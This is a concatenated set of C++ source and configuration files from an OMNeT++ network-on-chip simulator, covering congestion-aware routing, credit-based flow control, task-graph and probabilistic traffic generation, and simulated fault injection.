Define_Module(StressValueControl);
void StressValueControl::initialize()
{
// TODO - Generated method body
nbPorts = par("nbPorts").longValue();
nbVCs = getParentModule()->par("nbVCs").longValue();
bufferLenght = getParentModule()->par("bufferLenght");
x = getParentModule()->getParentModule()->par("x").longValue();
y = getParentModule()->getParentModule()->par("y").longValue();
nbRows = getParentModule()->getParentModule()->getParentModule()->par("rows");
nbColumns = getParentModule()->getParentModule()->getParentModule()->par("columns");
congestionControlPeriod = par("congestionControlPeriod");
ClkCycle = getParentModule()->getParentModule()->getParentModule()->par("ClkCycle");
neighborsStressValue = new double[nbPorts];
for(int i=0;i<nbPorts;i++) neighborsStressValue[i]=0;
localeStressValue = 0;
CongestionMsg *selfCongestionMsg = new CongestionMsg();
selfCongestionMsg->setSrc(LOCAL_ROUTER);
scheduleAt(simTime()+ ClkCycle * congestionControlPeriod,selfCongestionMsg);
}
void StressValueControl::handleMessage(cMessage *receivedMsg)
{
// TODO - Generated method body
CongestionMsg *congMsg = check_and_cast<CongestionMsg *>(receivedMsg);
switch(congMsg->getSrc())
{
case LOCAL_ROUTER:
calculateLocaleStressValue();
for(int i=0;i<nbPorts;i++)
{
CongestionMsg *msg = new CongestionMsg;
msg->setStressValue(localeStressValue);
switch(i)
{
case 0:
if(y>0)
{
msg->setSrc(SOUTH_NEIGH);
send(msg,"out",i);
}
break;
case 1:
if(x<nbColumns-1)
{
msg->setSrc(WEST_NEIGH);
send(msg,"out",i);
}
break;
case 2:
if(y<nbRows-1)
{
msg->setSrc(NORTH_NEIGH);
send(msg,"out",i);
}
break;
case 3:
if(x>0)
{
msg->setSrc(EAST_NEIGH);
send(msg,"out",i);
}
break;
}
}
scheduleAt(simTime()+ ClkCycle * congestionControlPeriod,congMsg);
break;
default:
neighborsStressValue[congMsg->getSrc()] = congMsg->getStressValue();
delete congMsg;
//if(x == 4 && y == 2)
//std::cout << neighborsStressValue[0] << " " << neighborsStressValue[1] << " " << neighborsStressValue[2] << " " << neighborsStressValue[3] << endl;
}
}
void StressValueControl::calculateLocaleStressValue()
{
double flitCount = 0;
for(int i=0;i<nbPorts;i++)
{
InputUnit *inputUnit = dynamic_cast<InputUnit *>(getParentModule()->getSubmodule("inputUnit",i));
for(int j = 0;j<nbVCs;j++)
{
VirtualChannel *inputVC = inputUnit->getVirtualChannel(j);
flitCount+= inputVC->getCurLenght();
}
}
localeStressValue = flitCount/(nbPorts * nbVCs * bufferLenght);
}
double StressValueControl::getNeighborStress(int numPort)
{
return neighborsStressValue[numPort];
}
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/Encoder/ECCAlgorithms/IECCAlgorithm.h
/*
* IECCAlgorithm.h
*
* Created on: 15 avr. 2015
* Author: mehdi
*/
#ifndef IECCALGORITHM_H_
#define IECCALGORITHM_H_
#include <NoCMsg_m.h>
enum EncodingExtent{
H2H=1,
E2E=2
};
class IECCAlgorithm {
public:
virtual void encodeH2H(Flit* f)=0;
virtual bool decodeH2H(Flit* f)=0;
virtual void encodeE2E(Flit* f)=0;
virtual bool decodeE2E(Flit* f)=0;
};
#endif /* IECCALGORITHM_H_ */
<file_sep>/FTNOCSIM/src/Node/Core/Source/ProbabilisticModel/SpatialDistribution/SDHotspot.h
/*
* SDHotspot.h
*
* Created on: 14 mars 2015
* Author: mehdi
*/
#ifndef SDHOTSPOT_H_
#define SDHOTSPOT_H_
#include <SpatialDistribution.h>
using namespace std;
class SDHotspot : public SpatialDistribution {
private:
double hotspotProba;
int hotspotX;
int hotspotY;
int nbRows;
int nbColumns;
public:
SDHotspot(double hotspotProba,int hotspotX,int hotspotY,int nbRows,int nbColumns);
virtual ~SDHotspot();
virtual void getDestination(int *x,int *y);
};
#endif /* SDHOTSPOT_H_ */
<file_sep>/FTNOCSIM/src/omnetpp.ini
[General]
**.vector-recording = true
warmup-period = 0ns
network = ftnocsim.Network.Mesh2D.Mesh2D
#**.sourceName = "ftnocsim.Node.Core.Source.TaskGraphModel.TaskGraphModel"
**.sourceName = "ftnocsim.Node.Core.Source.ProbabilisticModel.ProbabilisticModel"
#**.adapterName = "ftnocsim.Node.NetworkAdapter.SimpleNA.SimpleNA"
**.adapterName = "ftnocsim.Node.NetworkAdapter.FaultTolerantNA.FaultTolerantNA"
**.routerName = "ftnocsim.Node.Router.VirtualChannelRouter.VirtualChannelRouter"
**.inputUnitType = "ftnocsim.Node.Router.VirtualChannelRouter.InputUnit.InputUnit"
#**.vcAllocatorType = "ftnocsim.Node.Router.VirtualChannelRouter.VCAllocator.VCAllocator"
**.vcAllocatorType = "ftnocsim.Node.Router.VirtualChannelRouter.VCAllocator.CongestionAwareVCAllocator.CAVCAllocator"
**.switchAllocatorType = "ftnocsim.Node.Router.VirtualChannelRouter.SwitchAllocator.SwitchAllocator"
**.flowControlType = "ftnocsim.Node.Router.VirtualChannelRouter.FlowControlUnit.CreditBased.CreditBased"
**.congestionUnitType = "ftnocsim.Node.Router.VirtualChannelRouter.CongestionUnit.StressValueControl.StressValueControl"
**.decoderType = "ftnocsim.Node.Router.VirtualChannelRouter.Decoder.Decoder"
**.encoderType = "ftnocsim.Node.Router.VirtualChannelRouter.Encoder.Encoder"
**.faultInjectorType = "ftnocsim.Node.Router.VirtualChannelRouter.FaultInjector.FaultInjector"
**.congestionControlPeriod = 3
output-vector-file = ${configname}.vec
seed-0-mt=50432
sim-time-limit = 20000ns
**.eccAlgorithmType="crc_16"
**.e2eECCAlgorithmType="crc_16"
**.e2eDecoderType = "ftnocsim.Node.NetworkAdapter.FaultTolerantNA.E2EDecoder.E2EDecoder"
**.e2eEncoderType = "ftnocsim.Node.NetworkAdapter.FaultTolerantNA.E2EEncoder.E2EEncoder"
**.h2hEncodedData=1
**.e2eEncodedData = 2
**.rows = 5
**.columns = 5
**.bufferLenght = 8
**.nbVCs = 1
**.flitLength = 7 # pas encore pris en compte pour le trafic reel
**.maxPacketLength = 20 # pas encore pris en compte dans la génreration de trafic
**.ClkCycle = 2ns
**.circularBufferLenght = 2
**.temporalDistribution = 0
**.spatialeDistribution = 0
**.packetLengthDistribution = 0
**.TDConstantInterval = 15
**.TDUniformLowerBound = 10
**.TDUniformUpperBound = 20
**.TDExpoMean=15
**.LDConstantSize = 5
**.LDUniformLowerBound = 5
**.LDUniformUpperBound = 10
**.SDHotspotProba = 0.6
**.SDHotspotX = 4
**.SDHotspotY = 4
**.bench=xmldoc("//home//mehdi//Bureau//vopd.xml")
**.faultInjectionParams=xmldoc("//home//ala-eddine//omnetpp//omnetpp-4.6//samples//FTNOCSIMM//fault_injector.xml") ##MEH 4<file_sep>/FTNOCSIM/src/Node/Core/Source/TaskGraphModel/TaskGraphModel.cc
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see http://www.gnu.org/licenses/.
//
#include "TaskGraphModel.h"
#include "Send.h"
#include <NoCMsg_m.h>
Define_Module(TaskGraphModel);
void TaskGraphModel::initialize()
{
// TODO - Generated method body
this->x=this->getParentModule()->getParentModule()->par("x");
this->y=this->getParentModule()->getParentModule()->par("y");
this->nbColumns=this->getParentModule()->getParentModule()->getParentModule()->par("columns");
this->nbRows=this->getParentModule()->getParentModule()->getParentModule()->par("rows");
this->nbVCs = getParentModule()->getParentModule()->par("nbVCs");
this->flitsSize=this->getParentModule()->getParentModule()->getParentModule()->par("flitLength");
this->initLinksTab();
this->initTasksTab();
this->initNodesTab();
this->initEventsTab();
for(int i=0;i<this->nbEvents;i++)
{
if(this->eventsTab[i][3]>0 || this->eventsTab[i][3]==-1)
{
if(this->eventsTab[i][3]>0) this->eventsTab[i][3]--;
TaskGraphEventMsg* msg=new TaskGraphEventMsg;
msg->setOutport((int)this->eventsTab[i][0]);
msg->setAmountData((int)this->eventsTab[i][1]);
msg->setIndex(i);
msg->setKind(TASKGRAPHEVENT_MSG);
scheduleAt(simTime()+this->eventsTab[i][4],msg);
}
}
packetsCounter=0;
flitsCounter=0;
flitsCounterVector.setName("send-flit-counter");
packetsCounterVector.setName("send-packets-counter");
}
void TaskGraphModel::handleMessage(cMessage *msg)
{
// TODO - Generated method body
TaskGraphEventMsg* tgMsg;
TaskGraphSendTimeMsg* sendMsg;
TaskGraphNextPaquetMsg *npMsg;
int nbFlits,nbPaquets;
int i,id;
switch(msg->getKind())
{
case TASKGRAPHEVENT_MSG:
tgMsg=check_and_cast<TaskGraphEventMsg*>(msg);
receiveEvent((int)(tgMsg->getOutport()),(int)(tgMsg->getAmountData()));
i=tgMsg->getIndex();
if(this->eventsTab[i][3]>0 || this->eventsTab[i][3]==-1)
{
if(this->eventsTab[i][3]>0) this->eventsTab[i][3]--;
scheduleAt(simTime()+this->eventsTab[i][2],tgMsg);
}
break;
case TASKGRAPH_SENDTIME_MSG:
sendMsg=check_and_cast<TaskGraphSendTimeMsg*>(msg);
if(this->x==sendMsg->getDestX() && this->y==sendMsg->getDestY())
{
receiveEvent(sendMsg->getOutputPort(),sendMsg->getDataAmount());
}
else
{
nbFlits = ceil((double)(sendMsg->getDataAmount())/this->flitsSize);
nbPaquets= ceil((double)nbFlits/this->paquetsSize);
if(numVCs < nbVCs-1) numVCs++;
else numVCs = 0;
Flit* f= createHeadFlit(sendMsg->getDestX(),sendMsg->getDestY(),numVCs,sendMsg->getOutputPort(),sendMsg->getDataAmount());
f->setFirstFlitOfMessage(true);
send(f,"out");
for(int j = 1;j<this->paquetsSize-1;j++)
{
f=createDataFlit(numVCs,j);
send(f,"out");
}
f=createTailFlit(numVCs,this->paquetsSize-1);
send(f,"out");
npMsg=new TaskGraphNextPaquetMsg;
npMsg->setKind(TASKGRAPH_NEXTPAQUET_MSG);
npMsg->setNbPaquets(nbPaquets);
npMsg->setIdPaquet(0);
npMsg->setDestX(sendMsg->getDestX());
npMsg->setDestY(sendMsg->getDestY());
npMsg->setOutputPort(npMsg->getOutputPort());
npMsg->setDataAmount(sendMsg->getDataAmount());
scheduleAt(simTime()+interPacketsTime,npMsg);
}
break;
case TASKGRAPH_NEXTPAQUET_MSG:
npMsg=check_and_cast<TaskGraphNextPaquetMsg*>(msg);
id=npMsg->getIdPaquet()+1;
npMsg->setIdPaquet(id);
if(id<npMsg->getNbPaquets())
{
if(numVCs < nbVCs-1) numVCs++;
else numVCs = 0;
Flit* f= createHeadFlit(npMsg->getDestX(),npMsg->getDestY(),numVCs,npMsg->getOutputPort(),npMsg->getDataAmount());
send(f,"out");
for(int j = 1;j<this->paquetsSize-1;j++)
{
f=createDataFlit(numVCs,j);
send(f,"out");
}
f=createTailFlit(numVCs,this->paquetsSize-1);
send(f,"out");
scheduleAt(simTime()+interPacketsTime,npMsg);
}
break;
case FLIT_MSG:
Flit* f=dynamic_cast<Flit*>(msg);
this->receiveEvent(f->getOutput(),f->getDataAmount());
delete msg;
break;
}
}
void TaskGraphModel::finish()
{
flitsCounterVector.record(flitsCounter);
packetsCounterVector.record(packetsCounter);
}
Flit* TaskGraphModel::createHeadFlit(int dx, int dy, int numVC,int output,int dataAmount)
{
packetsCounter++;
flitsCounter++;
Flit *f = new Flit;
f->setKind(FLIT_MSG);
f->setType(HEADER_FLIT);
f->setSrc(getParentModule()->getParentModule()->getIndex());
f->setPacketIndex(packetsCounter);
f->setDestX(dx);
f->setDestY(dy);
f->setNumVC(numVC);
f->setFlitIndex(0);
f->setOutput(output);
f->setDataAmount(dataAmount);
f->setFirstFlitOfMessage(false);
f->setPayloadArraySize(this->flitsSize-6);
f->setFunctionType(DATA_FLIT);
return f;
}
Flit* TaskGraphModel::createTailFlit(int numVC, int index)
{
flitsCounter++;
Flit *f = new Flit;
f->setKind(FLIT_MSG);
f->setType(TAIL_FLIT);
f->setSrc(getParentModule()->getParentModule()->getIndex());
f->setPacketIndex(packetsCounter);
f->setNumVC(numVC);
f->setFlitIndex(index);
f->setFirstFlitOfMessage(false);
f->setFunctionType(DATA_FLIT);
f->setPayloadArraySize(this->flitsSize-2);
return f;
}
Flit* TaskGraphModel::createDataFlit(int numVC,int index)
{
flitsCounter++;
Flit *f = new Flit;
f->setKind(FLIT_MSG);
f->setType(MIDDLE_FLIT);
f->setSrc(getParentModule()->getParentModule()->getIndex());
f->setPacketIndex(packetsCounter);
f->setNumVC(numVC);
f->setFlitIndex(index);
f->setFirstFlitOfMessage(false);
f->setFunctionType(DATA_FLIT);
f->setPayloadArraySize(this->flitsSize-2);
return f;
}
void TaskGraphModel::initLinksTab()
{
cXMLElementList xmlLinks =
par("bench").xmlValue()->getChildrenByTagName("application").at(0)->getChildrenByTagName("task_graph").at(0)->getChildrenByTagName("port_connection");
for(unsigned int i=0;i<xmlLinks.size();i++)
{
this->linksTab[atoi(xmlLinks.at(i)->getAttribute("src"))]=atoi(xmlLinks.at(i)->getAttribute("dst"));
}
}
void TaskGraphModel::initTasksTab()
{
cXMLElementList xmlTasks=
par("bench").xmlValue()->getChildrenByTagName("application").at(0)->getChildrenByTagName("task_graph").at(0)->getChildrenByTagName("task");
Task* t;
for(unsigned int i=0;i<xmlTasks.size();i++)
{
t=new Task(atoi(xmlTasks.at(i)->getAttribute("id")));
cXMLElementList xmlInputs= xmlTasks.at(i)->getChildrenByTagName("in_port");
for(unsigned int j=0;j<xmlInputs.size();j++)
{
int inputId=atoi(xmlInputs.at(j)->getAttribute("id"));
(t->getTokensTab())[inputId]=0;
this->TasksTab[inputId]=t;
this->idTasksTab[t->getId()]=t;
}
cXMLElementList xmlTriggers=xmlTasks.at(i)->getChildrenByTagName("trigger");
Trigger* tr;
for(unsigned int j=0;j<xmlTriggers.size();j++)
{
tr=new Trigger();
if(xmlTriggers.at(j)->getAttribute("dependence_type")!=NULL && !strcmp(xmlTriggers.at(j)->getAttribute("dependence_type"),"and"))
{
cout << t->getId() << endl;
tr->setTokenOp(1);
}
else tr->setTokenOp(0);
cXMLElementList trInputsTab=xmlTriggers.at(j)->getChildrenByTagName("in_port");
for(unsigned int k=0;k<trInputsTab.size();k++)
{
tr->addToOpInputsTab(atoi(trInputsTab.at(k)->getAttribute("id")));
}
TriggerExec* trExec;
cXMLElementList xmlTrExecsTab=xmlTriggers.at(j)->getChildrenByTagName("exec_count");
for(unsigned int k=0;k<xmlTrExecsTab.size();k++)
{
trExec=new TriggerExec();
if(xmlTrExecsTab.at(k)->getAttribute("min")!=NULL && atoi(xmlTrExecsTab.at(k)->getAttribute("min"))>=0) trExec->setMin(atoi(xmlTrExecsTab.at(k)->getAttribute("min")));
if(xmlTrExecsTab.at(k)->getAttribute("max")!=NULL && atoi(xmlTrExecsTab.at(k)->getAttribute("max"))>0) { trExec->setMax(atoi(xmlTrExecsTab.at(k)->getAttribute("max")));}
if(xmlTrExecsTab.at(k)->getAttribute("mod_period")!=NULL && atoi(xmlTrExecsTab.at(k)->getAttribute("mod_period"))>0) trExec->setModPeriod(atoi(xmlTrExecsTab.at(k)->getAttribute("mod_period")));
if(xmlTrExecsTab.at(k)->getAttribute("mod_phase")!=NULL && atoi(xmlTrExecsTab.at(k)->getAttribute("mod_phase"))>=0) trExec->setModPhase(atoi(xmlTrExecsTab.at(k)->getAttribute("mod_phase")));
cXMLElementList xmlOperationsTab=xmlTrExecsTab.at(k)->getChildrenByTagName("op_count");
if(xmlOperationsTab.size()>0)
{
double elmOpduration;
int duration;
if(strcmp(xmlOperationsTab[0]->getFirstChild()->getFirstChild()->getTagName(),"int_ops"))
{
elmOpduration= ((double)1)/3;
}
else if(strcmp(xmlOperationsTab[0]->getFirstChild()->getFirstChild()->getTagName(),"float_ops"))
{
elmOpduration=1;
}
else if(strcmp(xmlOperationsTab[0]->getFirstChild()->getFirstChild()->getTagName(),"mem_ops"))
{
elmOpduration=1;
}
if(xmlOperationsTab[0]->getFirstChild()->getFirstChild()->getFirstChild()->getAttribute("value")>0)
{
duration=ceil(atoi(xmlOperationsTab[0]->getFirstChild()->getFirstChild()->getFirstChild()->getAttribute("value")));
}
else duration=0;
cXMLElementList xmlSends=xmlTrExecsTab.at(k)->getChildrenByTagName("send");
for(unsigned int l=0;l<xmlSends.size();l++)
{
int send_output=atoi(xmlSends.at(l)->getAttribute("out_id"));
int send_amount=atoi(xmlSends.at(l)->getFirstChild()->getFirstChild()->getFirstChild()->getAttribute("value"));
trExec->addToSendsTab(new Send(ceil(duration*elmOpduration),send_amount,send_output));
}
tr->addToTriggerExecTab(trExec);
}
}
t->addToTriggersTab(tr);
}
}
}
void TaskGraphModel::initNodesTab()
{
int x,y;
cXMLElementList ressourcesXML=
par("bench").xmlValue()->getChildrenByTagName("mapping").at(0)->getChildrenByTagName("resource");
for(unsigned int i=0;i<ressourcesXML.size();i++)
{
y=atoi(ressourcesXML.at(i)->getAttribute("id"))/this->nbColumns;
x=atoi(ressourcesXML.at(i)->getAttribute("id"))%this->nbColumns;
cXMLElementList tasksXML=ressourcesXML.at(i)->getChildrenByTagName("group").at(0)->getChildrenByTagName("task");
for(unsigned int j=0;j<tasksXML.size();j++)
{
this->NodesXTab[this->idTasksTab[atoi(tasksXML.at(j)->getAttribute("id"))]]=x;
this->NodesYTab[this->idTasksTab[atoi(tasksXML.at(j)->getAttribute("id"))]]=y;
}
}
}
void TaskGraphModel::initEventsTab()
{
cXMLElementList xmlEvents =
par("bench").xmlValue()->getChildrenByTagName("application").at(0)->getChildrenByTagName("task_graph").at(0)->getChildrenByTagName("event_list").at(0)->getChildrenByTagName("event");
int nbEv=0,x,y;
for(unsigned int i=0;i<xmlEvents.size();i++)
{
x=this->NodesXTab[this->TasksTab[this->linksTab[atoi(xmlEvents.at(i)->getAttribute("out_port_id"))]]];
y=this->NodesYTab[this->TasksTab[this->linksTab[atoi(xmlEvents.at(i)->getAttribute("out_port_id"))]]];
if(x==this->x && y==this->y)
{
nbEv++;
}
}
this->nbEvents=nbEv;
this->eventsTab=new double*[this->nbEvents];
for(int i=0;i<this->nbEvents;i++)
{
this->eventsTab[i]=new double[5];
}
int j=0;
for(unsigned int i=0;i<xmlEvents.size();i++)
{
x=this->NodesXTab[this->TasksTab[this->linksTab[atoi(xmlEvents.at(i)->getAttribute("out_port_id"))]]];
y=this->NodesYTab[this->TasksTab[this->linksTab[atoi(xmlEvents.at(i)->getAttribute("out_port_id"))]]];
if(x==this->x && y==this->y)
{
if(xmlEvents.at(i)->getAttribute("out_port_id")!=NULL) {this->eventsTab[j][0]=atof(xmlEvents.at(i)->getAttribute("out_port_id"));} else this->eventsTab[j][0]=0;
if(xmlEvents.at(i)->getAttribute("amount")!=NULL) this->eventsTab[j][1]=atof(xmlEvents.at(i)->getAttribute("amount")); else this->eventsTab[j][1]=0;
if(xmlEvents.at(i)->getAttribute("period")!=NULL) this->eventsTab[j][2]=atof(xmlEvents.at(i)->getAttribute("period")); else this->eventsTab[j][2]=0;
if(xmlEvents.at(i)->getAttribute("count")!=NULL) this->eventsTab[j][3]=atof(xmlEvents.at(i)->getAttribute("count")); else this->eventsTab[j][3]=-1;
if(xmlEvents.at(i)->getAttribute("offset")!=NULL) this->eventsTab[j][4]=atof(xmlEvents.at(i)->getAttribute("offset")); else this->eventsTab[j][4]=0;
j++;
}
}
}
void TaskGraphModel::receiveEvent(int outport,int amountData)
{
int numExecTrigger;
int input=this->linksTab.find(outport)->second;
Task* t=this->TasksTab.find(input)->second;
t->incrementTokensTab(input);
for(int i=0;i<t->getNbTriggers();i++)
{
numExecTrigger=t->startTrigger(i);
if(numExecTrigger>=0)
{
std::vector<Send*> sendsTab=t->getTrigger(i)->getExecTriggerElm(numExecTrigger)->getSendsTab();
for(unsigned int j=0;j<sendsTab.size();j++)
{
TaskGraphSendTimeMsg* msg=new TaskGraphSendTimeMsg;
msg->setKind(TASKGRAPH_SENDTIME_MSG);
msg->setOutputPort(sendsTab[j]->getOutput());
msg->setDataAmount(sendsTab[j]->getDataAmount());
msg->setDestX(NodesXTab.find(TasksTab.find(linksTab.find(sendsTab[j]->getOutput())->second)->second)->second);
msg->setDestY(NodesYTab.find(TasksTab.find(linksTab.find(sendsTab[j]->getOutput())->second)->second)->second);
this->scheduleAt(simTime()+sendsTab[j]->getInterval()*0.000000002,msg);
}
}
}
}
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/FlowControlUnit/CreditBased/CreditBased.cc
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see http://www.gnu.org/licenses/.
//
#include "CreditBased.h"
Define_Module(CreditBased);
void CreditBased::initialize()
{
// TODO - Generated method body
nbPorts = getParentModule()->par("nbInputUnits").longValue();
nbVCs = getParentModule()->par("nbVCs").longValue();
bufferLenght = getParentModule()->par("bufferLenght");
creditTable = new int*[nbPorts];
for(int i=0;i<nbPorts;i++)
creditTable[i] = new int[nbVCs];
for(int i=0;i<nbPorts;i++)
for(int j=0;j<nbVCs;j++)
creditTable[i][j]=0;
}
void CreditBased::handleMessage(cMessage *msg)
{
// TODO - Generated method body
creditUpdate( check_and_cast<CreditMsg *>(msg));
delete msg;
}
void CreditBased::creditUpdate(CreditMsg *msg)
{
int numPort;
switch(msg->getNumPort())
{
case 0: numPort = 2;break;
case 1: numPort = 3;break;
case 2: numPort = 0;break;
case 3: numPort = 1;break;
}
creditTable[numPort][msg->getNumVC()]--;
}
void CreditBased::incrementCredit(int numPort,int numVC)
{
if(numPort != 4)
creditTable[numPort][numVC]++;
}
bool CreditBased::canForward(int numPort,int numVC)
{
if(creditTable[numPort][numVC] < bufferLenght) return true;
else return false;
}
<file_sep>/FTNOCSIM/src/Node/Core/Source/TaskGraphModel/Send.h
/*
* Send.h
*
* Created on: 28 mars 2015
* Author: mehdi
*/
#ifndef SEND_H_
#define SEND_H_
class Send {
private:
double interval;
int dataAmount;
int output;
public:
Send(double interval,int dataAmount,int output);
virtual ~Send();
virtual double getInterval();
virtual int getDataAmount();
virtual int getOutput();
};
#endif /* SEND_H_ */
<file_sep>/FTNOCSIM/src/Node/Core/Source/ProbabilisticModel/SpatialDistribution/SDHotspot.cc
/*
* SDHotspot.cc
*
* Created on: 14 mars 2015
* Author: mehdi
*/
#include <SDHotspot.h>
#include <omnetpp.h>
using namespace std;
SDHotspot::SDHotspot(double hotspotProba,int hotspotX,int hotspotY,int nbRows,int nbColumns) {
// TODO Auto-generated constructor stub
this->hotspotProba=hotspotProba;
this->hotspotX=hotspotX;
this->hotspotY=hotspotY;
this->nbRows=nbRows;
this->nbColumns=nbColumns;
}
SDHotspot::~SDHotspot() {
// TODO Auto-generated destructor stub
}
void SDHotspot::getDestination(int *x,int *y){
double p=uniform(0,1);
if(p<this->hotspotProba)
{
*x=this->hotspotX;
*y=this->hotspotY;
}
else
{
*x=intuniform(0,nbColumns-1);
*y=intuniform(0,nbRows-1);
}
}
<file_sep>/FTNOCSIM/src/Node/Core/Source/ProbabilisticModel/PacketSizeDistribution/PSDUniform.cc
/*
* PSDUniform.cc
*
* Created on: 13 mars 2015
* Author: mehdi
*/
#include <PSDUniform.h>
#include <omnetpp.h>
using namespace std;
PSDUniform::PSDUniform(int lowerBound,int upperBound) {
// TODO Auto-generated constructor stub
this->lowerBound=lowerBound;
this->upperBound=upperBound;
}
PSDUniform::~PSDUniform() {
// TODO Auto-generated destructor stub
}
int PSDUniform::getPacketSize()
{
int size=intuniform(this->lowerBound,this->upperBound);
return size;
}
<file_sep>/FTNOCSIM/src/Node/Core/Source/TaskGraphModel/Task.cc
/*
* Task.cc
*
* Created on: 27 mars 2015
* Author: mehdi
*/
#include <Task.h>
Task::Task(int id) {
// TODO Auto-generated constructor stub
this->id=id;
}
Task::~Task() {
// TODO Auto-generated destructor stub
}
void Task::incrementTokensTab(int input)
{
this->tokensTab[input]+=1;
}
int Task::startTrigger(int triggerIndex)
{
Trigger* trigger=this->getTrigger(triggerIndex);
bool exec;
if(trigger->getTokenOp()==0) // "or" op
{
for(int i=0;i<trigger->getOpInputsTabSize();i++)
{
if(this->tokensTab[trigger->getOpInputsTabElm(i)]>0)
{
this->tokensTab[trigger->getOpInputsTabElm(i)]-=1;
return trigger->execTrigger();
}
}
}
else if(trigger->getTokenOp()==1) // "and" op
{
exec=true;
for(int i=0;i<trigger->getOpInputsTabSize();i++)
{
if(this->tokensTab[trigger->getOpInputsTabElm(i)]==0)
{
exec=false;
}
}
if(exec)
{
for(int i=0;i<trigger->getOpInputsTabSize();i++)
{
this->tokensTab[trigger->getOpInputsTabElm(i)]-=1;
}
return trigger->execTrigger();
}
}
return -1;
}
int Task::getId()
{
return this->id;
}
int Task::getNbTriggers()
{
return this->triggers.size();
}
Trigger* Task::getTrigger(int index)
{
return this->triggers[index];
}
std::map<int,int> Task::getTokensTab()
{
return this->tokensTab;
}
void Task::addToTriggersTab(Trigger* tr)
{
this->triggers.push_back(tr);
}
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/FaultInjector/FaultModel/FaultProperty/DropFlit.cc
/*
* DropFlit.cc
*
* Created on: 10 avr. 2015
* Author: mehdi
*/
#include <DropFlit.h>
DropFlit::DropFlit() {
// TODO Auto-generated constructor stub
}
DropFlit::~DropFlit() {
// TODO Auto-generated destructor stub
}
bool DropFlit::alterFlit(Flit *f)
{
delete f;
return true;
}
<file_sep>/FTNOCSIM/src/NoCMsg_m.cc
//
// Generated file, do not edit! Created by nedtool 4.6 from src/NoCMsg.msg.
//
// Disable warnings about unused variables, empty switch stmts, etc:
#ifdef _MSC_VER
# pragma warning(disable:4101)
# pragma warning(disable:4065)
#endif
#include <iostream>
#include <sstream>
#include "NoCMsg_m.h"
USING_NAMESPACE
// Another default rule (prevents compiler from choosing base class' doPacking())
template<typename T>
void doPacking(cCommBuffer *, T& t) {
throw cRuntimeError("Parsim error: no doPacking() function for type %s or its base class (check .msg and _m.cc/h files!)",opp_typename(typeid(t)));
}
template<typename T>
void doUnpacking(cCommBuffer *, T& t) {
throw cRuntimeError("Parsim error: no doUnpacking() function for type %s or its base class (check .msg and _m.cc/h files!)",opp_typename(typeid(t)));
}
// Template rule for outputting std::vector<T> types
template<typename T, typename A>
inline std::ostream& operator<<(std::ostream& out, const std::vector<T,A>& vec)
{
out.put('{');
for(typename std::vector<T,A>::const_iterator it = vec.begin(); it != vec.end(); ++it)
{
if (it != vec.begin()) {
out.put(','); out.put(' ');
}
out << *it;
}
out.put('}');
char buf[32];
sprintf(buf, " (size=%u)", (unsigned int)vec.size());
out.write(buf, strlen(buf));
return out;
}
// Template rule which fires if a struct or class doesn't have operator<<
template<typename T>
inline std::ostream& operator<<(std::ostream& out,const T&) {return out;}
EXECUTE_ON_STARTUP(
cEnum *e = cEnum::find("MSG_TYPE");
if (!e) enums.getInstance()->add(e = new cEnum("MSG_TYPE"));
e->insert(CLK_MSG, "CLK_MSG");
e->insert(FLIT_MSG, "FLIT_MSG");
e->insert(CREDIT_MSG, "CREDIT_MSG");
e->insert(TRAFFIC_MSG, "TRAFFIC_MSG");
e->insert(CONGESTION_MSG, "CONGESTION_MSG");
e->insert(TASKGRAPHEVENT_MSG, "TASKGRAPHEVENT_MSG");
e->insert(TASKGRAPH_SENDTIME_MSG, "TASKGRAPH_SENDTIME_MSG");
e->insert(TASKGRAPH_NEXTPAQUET_MSG, "TASKGRAPH_NEXTPAQUET_MSG");
e->insert(NEIGHBOR_LINK_FAULT_MSG, "NEIGHBOR_LINK_FAULT_MSG");
e->insert(NACK_MSG, "NACK_MSG");
);
EXECUTE_ON_STARTUP(
cEnum *e = cEnum::find("FLIT_FUNCTION");
if (!e) enums.getInstance()->add(e = new cEnum("FLIT_FUNCTION"));
e->insert(DATA_FLIT, "DATA_FLIT");
e->insert(NACK_FLIT, "NACK_FLIT");
);
EXECUTE_ON_STARTUP(
cEnum *e = cEnum::find("NEIGHBOR_POSITION");
if (!e) enums.getInstance()->add(e = new cEnum("NEIGHBOR_POSITION"));
e->insert(NORTH_NEIGH, "NORTH_NEIGH");
e->insert(EAST_NEIGH, "EAST_NEIGH");
e->insert(SOUTH_NEIGH, "SOUTH_NEIGH");
e->insert(WEST_NEIGH, "WEST_NEIGH");
e->insert(LOCAL_ROUTER, "LOCAL_ROUTER");
);
EXECUTE_ON_STARTUP(
cEnum *e = cEnum::find("FLIT_TYPE");
if (!e) enums.getInstance()->add(e = new cEnum("FLIT_TYPE"));
e->insert(HEADER_FLIT, "HEADER_FLIT");
e->insert(MIDDLE_FLIT, "MIDDLE_FLIT");
e->insert(TAIL_FLIT, "TAIL_FLIT");
e->insert(SINGLE_FLIT, "SINGLE_FLIT");
);
Register_Class(Flit);
Flit::Flit(const char *name, int kind) : ::cPacket(name,kind)
{
this->type_var = 0;
this->src_var = 0;
this->destX_var = 0;
this->destY_var = 0;
this->numPort_var = 0;
this->numVC_var = 0;
this->flitIndex_var = 0;
this->packetIndex_var = 0;
this->functionType_var = 0;
payload_arraysize = 0;
this->payload_var = 0;
this->networkLatency_var = 0;
this->packetNetworkLatency_var = 0;
this->flitRouterLatency_var = 0;
serializedFlit_arraysize = 0;
this->serializedFlit_var = 0;
e2eSerializedFlit_arraysize = 0;
this->e2eSerializedFlit_var = 0;
this->output_var = 0;
this->dataAmount_var = 0;
this->firstFlitOfMessage_var = 0;
}
